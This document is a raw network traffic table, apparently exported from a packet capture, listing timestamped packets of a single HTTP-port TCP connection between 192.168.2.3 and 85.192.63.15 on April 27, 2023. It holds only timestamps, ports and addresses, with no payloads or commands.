Apr 27, 2023 07:41:59.835876942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836245060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836291075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836323977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836333990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836347103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836384058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836385965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836429119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836436987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836477041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836505890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836540937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836550951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836586952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836610079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836633921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836652994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836668968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836834908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836834908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.836843014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836891890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836940050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.836986065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837024927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837024927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837024927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837033987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837054014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837085009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837100983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837122917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837156057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837168932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837193966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837218046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837229013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837265968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837275982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837302923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.837321043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.837358952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.847893953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.847954035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.847990036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848016977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848037958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848069906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848069906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848087072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848099947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848135948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848150015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848182917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848189116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848217964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848241091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848259926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848278046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848308086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848319054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848356962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848371029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848398924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848412991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848443985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848452091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848480940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848505020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848527908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848550081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848572969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848577023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848619938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848628044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848654985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848678112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848701000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848701954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848750114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848758936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848797083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848808050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848844051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848850012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848890066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848898888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848936081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848948002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.848978996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.848993063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849034071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849282026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849344969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849375963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849381924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849431038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849461079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849461079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849467993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849519014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849528074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849545956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849605083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849631071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849642038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849680901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849689960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849721909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.849733114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.849783897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850030899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850666046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850707054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850776911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850776911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850858927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850904942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850929976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850941896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850975990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.850989103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.850996971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.851033926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.851041079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.851080894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.851090908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.851119041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.851140976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.851177931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.852421999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.852468014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.852513075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.852545023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.852550030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.852590084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.852590084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.852735043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.854434967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.854480982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.854525089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.854535103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.854535103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.854562998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.854610920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.854629993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861011028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861063957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861103058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861134052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861170053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861187935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861187935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861188889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861197948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861237049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861279964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861289024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861289024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861289024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861289978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861316919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861323118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861368895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861413956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861454964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861474991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861485958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861510992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861526012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861536026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861578941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861629009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861668110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861685038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861705065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861725092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861742973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861754894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861782074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861799955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861819983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861840963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861857891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861877918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861886978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.861901999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.861938000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862215996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862246037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862282038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862298012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862298012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862317085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862327099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862370968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862616062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862684011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862706900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862745047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862760067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862776995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.862797022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.862833023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.865825891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.865947962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.865962982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866009951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866022110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866058111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866065979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866096020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866117001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866152048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866318941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866367102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866389990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866414070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866414070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866451979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.866473913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.866497993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.872477055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.872539997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.872605085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.872687101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.872687101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.872688055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.872720957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.872760057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.872781992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.872809887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.874176979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.874227047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.874270916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.874305964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.874352932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.874352932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.874353886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.874353886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.875623941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.875673056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.875715971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.875725031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.875725031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.875752926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.875765085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.875806093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.879043102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.879095078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.879139900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.879165888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.879192114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.879192114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.879215956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.879266977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.900475025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.900537968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.900662899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.900669098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.900664091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.900707960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.900729895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.900743961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.900769949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.900795937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.901899099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.901972055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.902015924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.902060986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.902095079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.902096987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.902096987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.902096987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.902173996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.902173996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.903664112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.903701067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.903744936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.903790951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.903827906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.903841972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.903842926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.903842926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.903842926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.903912067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.905643940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.905690908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.905735016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.905745983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.905746937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.905769110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.905797005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.905807018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.905827045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.905869961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.928406000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.928495884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.928541899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.928569078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.928569078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.928631067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.928711891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.928754091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.928788900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.928812027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.929843903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.929873943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.929903030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.929928064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.929966927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.929996967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.933188915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.933217049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.933242083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.933269024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.933290958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.933311939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.933311939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.933347940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960321903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960386992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960417032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960437059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960464954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960464954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960491896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960519075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960524082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960540056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960541010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960567951 CEST	80	49697	85.192.63.15	192.168.2.3
